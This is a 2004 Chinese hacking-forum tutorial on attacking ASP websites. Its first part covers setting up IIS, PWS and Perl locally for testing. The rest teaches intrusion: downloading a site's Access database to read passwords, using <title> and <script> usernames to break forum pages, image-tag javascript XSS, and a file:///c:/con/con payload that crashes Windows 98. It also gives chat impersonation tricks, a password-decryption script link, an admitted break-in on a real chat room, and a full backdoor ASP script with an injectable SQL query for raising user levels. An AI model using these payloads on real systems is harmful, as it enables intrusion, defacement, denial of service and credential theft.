Board logo

标题: 脚本程序攻击 [打印本页]

作者: 凌哥    时间: 2004-4-24 16:21     标题: 脚本程序攻击

这一节我们来稍微了解一下服务器端的脚本程序攻击.由于对服务器端脚本程序我只会一点asp,我的重点也放在这.asp也是我努力的一方向,真想自己写一个论坛,可一直没有太多时间,(不是没时间写,而是没时间学呀,哈哈). 要做好一个主页,单靠html和js是不够的,来点酷的就要接触一些服务端程序,像asp和cgi.php.jsp等。如何快速入门?你要从头编写程序吗?其实网上免费脚本很多啊,我们要拿来用即可!但是阻碍菜鸟的就是如何调试这些程序。看完这篇文章,我估计你已经可以在支持cgi和asp空间上安装程序了,有了自己的论坛和江湖。想研究入侵江湖和聊天室的数据库,想从源码漏洞下手,这更是第一步。在win98和windows2000下安装单机调试asp和cgi的iss环境,其实是很简单的。至于让win2000支持apache和php,请看我的另一部电子书.下载1. 安装 Perl 解释器?   Perl 是一种解释执行的语言,所以,要单机运行调试 Perl CGI ,必须先安装 Perl 解释器。   首先下载 Active Perl 5.6.1(华军软件园有,大约8mb),一般文件名是 APi5XXe.exe,其中 XX 是版本号。然后运行此程序,默认是安装在 C:\PERL 下,不过为了方便,请最好安装到 C:\USR 目录下,这样写 Perl 解释器的路径就可以直接用 #!/usr/bin/perl 了,可以保持单机环境和网络环境路径一致。2. 安装 WEB 服务器?   有些网友认为安装了 Perl 解释器后就可通过双击文件运行,这是错误的,因为 Perl 是脚本文件,它只能在浏览器内调用,所以必须安装 WEB 服务器软件。现在 WINDOWS 95/98 下最常用的 WEB 服务器我想是Personal Web Server(PWS)。这个软件在win98光盘里有。点win98光盘目录add-one进入setup即可完成pws安装。其实只要安装pws,asp即可以支持。你点文件夹属性web共享(安装完pws即有这项。windows2000下是安装光盘上的iis5.0)设一个别名或什么也不用改动,然后在ie中运行http://127.0.0.1/web共享文件夹/*.asp,就可以看到你的劳动成果asp程序运行了。要支持cgi,还要做一些手脚,按照下面二步来修改注册表(win98.2000完全一样):     ① 运行 RegEdit,搜寻: HKEY_LOCAL_MACHINE\System\Currentcontrlset\Services\W3svc\ Parameters\ScriptMap\ 键名     ② 然后增加键名:.cgi,键值:C:\USR\BIN\perl.exe %s %s 和键名:.pl,键值:C:\USR\BIN\perl.exe %s %s注册表改完后,你去控制面板点管理工具里的Internet 信息服务,点默认的WEB站点,按右键,点属性. 找到主目录菜单,点应用程序设置右边的 配置 找到主目录菜单,点应用程序设置右边的 配置 点添加-出现 添加/编辑应用程序扩展名映射的对话框。 在可执行文件里写上C:\usr\bin\perl.exe %s %s扩展名写上 .cgi 不要忘记有个点的。下面还要勾上--脚本引擎同理,加上C:\usr\bin\perl.exe %s %s 扩展名是 .pl确定后,接着点菜单的ISAPI 筛选器,点添加, 在筛选器名称 里写 cgi 可执行文件里写 c:\usr\bin\perlis.dll 在本机上调试cgi,要将cgi文件copy到web共享目录下。然后在ie中运行http://127.0.0.1/web共享文件夹/*.cgi,程序运行了吧?哈哈。127.0.0.1可以改为你的机器名。    3、关于文件上传。asp你只要传到支持asp的空间上就可以运行了。cgi就令人讨厌了,有的空间商要求你将文件属性设为777,755等,如何改呢?我查了不少资料才明白的。我也是个菜鸟。论坛上有人回复说chmod+777+filename即可改,可是在windows下行不通。原来是在ftp软件里改。我推荐你用flashfxp。在上传的文件点鼠标右键-chmod你就可以改了。原来我用cutepage网页工具里自带的ftp,里边没有这项,他妈妈的,害我上网逛了好几天,网费......说半天没说到如何入侵。我这里只谈asp.asp入侵最简单的方法其实就是希望看到源代码,找到数据库的位置。这里给菜鸟解说一下,你通过查看网页源代码看到的是asp程序在服务器端过滤asp码后送到客户端的html码.一般情况下asp每个文件顶头都有一行像这样子。其中dbfunc.asp这个文件就是数据库连接文件,当然它不一定是dbfunc,也可能是其它名字。然后再查找dbfunc.asp,找到"Connstr="DRIVER={Microsoft Access Driver (*.mdb)};DBQ="+server.mappath("gg.mdb")+"这样的语句,你就清楚原来数据库的名字是gg.mdb,即可通过http://*.*.*/*/gg.mdb这样方式下载!用acess2000打开就会看到用户名和密码.但如何查看源码,这就要利用到asp程序的一些漏洞了.这里我做了一个小网页,可以简单查看asp源码泄露漏洞.源码查看器,你也可以用一些扫描软件扫到.但是现在像这样的漏洞几乎是没有了,即使你能看到源码,程序编写着也不会让数据库是*.mdb格式了,都被人黑怕了呀.即使能下到mdb,恐怕数据库的密码也是采用了md5加密,至于怎样才能找到脚本程序的漏洞呢?这就要求我们努力学习编程了.这样说太抽像了,还是举两个例子第一个是我对论坛的一点小研究 首先是对论坛首页的破坏。我在本机(win2000+isss5.0)上对动网论坛3.0和极限论坛5.0做过测试并成功。(这两个版本我很早就下了,其它版本和其它asp论坛我想有的程序也应该存在同样问题)。这个破坏方法的原理在我以前写过一篇文章<<弹出式域名的深入研究>>中详细讲过,具体内容你可看这里:http://www.521hacker.com/article/show.php?id=1670 。说得是怎样利用html的标签去掉网易域名广告。现在我们在论坛上利用<title>为用户名注册,注册后你会发现整个论坛首页无法显示。使首页无法显示的同样的破坏标签还有<style>和<script>,用<head>注册则自己的用户名无法正常显示。其它的html标签我没试验过。如果部份论坛注册后可以正常显示首页,你再用这个用户名发一个贴子再回复一个贴子,贴子的内容仍然是这几个破坏性标签,则论坛就无法正常显示了。再一个是对论坛贴子的破坏。许多asp论坛没有禁止贴图标签。你可以在<img src="http://和" onload="thumbImg(this)" alt="" />中书写任意js代码。像写一个<img src="http://javascript:alert(\"弹出对话框\")" onload="thumbImg(this)" alt="" />,则一打开本贴就可以弹出 一个对话框。如果你在其中写self.open(file:///c:/con/con)呢?那么谁打开该贴没打补丁的win98就死机。由于本方法极具破坏作用,且方法简单实用性强,请只可在本机上试验,不要对国内论坛进行破坏。 第二个就是聊天室了 我研究的是传说水吧,最流行的聊天室。它对注册用户名要求得很严格,我们只好另寻破坏方法。经我测试3.0以下版本在呼叫中存在<html>语句漏洞,你可以在呼叫中直接发送html语句。除了这个,我再没找到其它漏洞。但是无论哪一个版本它都有一个小bug呀,可以冒充别人对你说话。找到一个mm,想让她对你说我爱你,她不愿意呀。没关系,跟我来。水吧的动作是样表示的://##对%%说,##代表自己,%%代表对方。先点mm名单,然后你在发言区输入//%%对##说我爱你,那么这个妹妹和你的屏幕上就会出现妹妹对你说我爱你的话了。另一个是如果你能下到传说水吧的数据库的话,我这有一个解密数据库用户密码的小脚本http://freehost12.websamba.com/lunta/sb.asp(对3.0以下版本有效)虽然传说水吧作者说它的加密是不可逆的。说了半天, 你好心急了,说我想看入侵办法呀.正好,我有一次还应mm要求入侵过一家传说水吧,通过服务器漏洞,进入了主机.这家传说水吧人气极旺,数据库有40mb,我小猫上网,无法下载,但我们可以上传呀.我就上传了一个小脚本,修改了mm的级别. 从这一点上也能看出,要想研究脚本攻防,你总要稍微学习一点编程技术.为照顾菜鸟,如果你也恰好有一个传说水吧的话,可以用下面这个脚本不进聊天室就可以修改自己的级别,保存成conpag.asp,传到水吧的主目录下就行. <HTML> <BODY> <form NAME="Users" action = "conpag.asp" method="POST"> <Input TYPE="TEXT" NAME="u" size ="15" value="姓名"> <Input TYPE="TEXT" NAME="j" size ="5" value="级别"> <input TYPE="SUBMIT" name="submit" value="修改"> </form> </BODY> </HTML> <% dim a a =trim(request.form("u")) b =trim(request.form("j")) if request.form("submit") = "修改" then Set Conn = Server.Createobject("ADODB.Connection") Conn.Open "DRIVER={Microsoft Access Driver (*.mdb)};DBQ="+server.mappath("db\global.asa") strsql= "update user set user_level='"&b&"'where username='" & a&"'" Set objRS = Conn.Execute(strSQL) set objrs=nothing Conn.Close Set Conn = Nothing End if %> 当然,数据库入侵的办法还有很多.更清楚的就是要努力提高我们的脚本技术因为cgi本人不懂,所以没有讲解。以后补充。<br /><br /><br /><br /><hr noshade size="2" width="100%" color="BORDERCOLOR"> <table cellspacing="0" cellpadding="0" border="0" width="95%" align="center" style="font-size: 0.83em; font-family: Verdana, Helvetica, Arial, sans-serif"> <tr><td>欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)</td> <td align="right"> Powered by Discuz! 7.2</td></tr></table> </body> </html>